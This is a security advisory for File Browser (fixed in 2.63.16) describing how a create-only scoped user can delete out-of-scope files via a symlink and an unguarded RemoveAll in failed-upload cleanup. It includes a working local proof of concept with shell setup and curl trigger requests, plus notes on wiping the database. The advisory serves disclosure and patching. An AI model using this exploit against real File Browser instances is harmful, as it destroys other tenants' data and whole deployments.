Skip to content

GHSA-fmm7-x4gx-8jhr CVE-2026-55667 GO-2026-6021

File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

High Go
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 42.43% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
2.63.16
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.

ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.

Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174

Details

CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:

  1. ScopedFs.Remove and ScopedFs.RemoveAll skip guard() (files/scoped.go:138-144) — they call s.base.Remove/RemoveAll directly, unlike every other method.
  2. resourcePostHandler does not return on a NewFileInfo containment error (http/resource.go:125-180). For an out-of-scope path NewFileInfo fails, but the handler only uses that for the override branch (if err == nil) and falls through to writeFile, which is correctly guard-blocked and errors — triggering the failure-cleanup _ = d.user.Fs.RemoveAll(r.URL.Path) (http/resource.go:173) on the unvalidated path.

Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.

Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.

Precondition

An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.

Proof of concept

Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:

# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
  --scope=/scope \
  --perm.admin=false --perm.create=true \
  --perm.modify=false --perm.delete=false \
  --perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
#    and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"

Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):

GET  /api/raw/link/secret.txt        -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt  -> 403 (write blocked)
   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)

Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).

Impact

A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.

Suggested fix

  1. Add guard() to ScopedFs.Remove and ScopedFs.RemoveAll (files/scoped.go), mirroring the other methods (closes the class for all callers).
  2. Defense-in-depth: in resourcePostHandler, return early when NewFileInfo returns a non-not-exist error (do not fall through to writeFile/cleanup on a path that failed containment).

References

  • Incomplete fix of CVE-2026-54094 / GHSA-239w-m3h6-ch8v.
  • Affected code: files/scoped.go (ScopedFs.Remove, ScopedFs.RemoveAll), reached from http/resource.go (resourcePostHandler failure-cleanup, line 173).
  • Confirmed unpatched at HEAD be23ab3 (v2.63.15); no open issue/PR addresses the Remove/RemoveAll gap.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.16
2.63.16

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.16

go
go get github.com/filebrowser/filebrowser/v2@v2.63.16 && go mod tidy

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
GHSA-j9jx-hp4c-ghhh
File Browser has incorrect access control for public directory shares via rule path rebasing
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor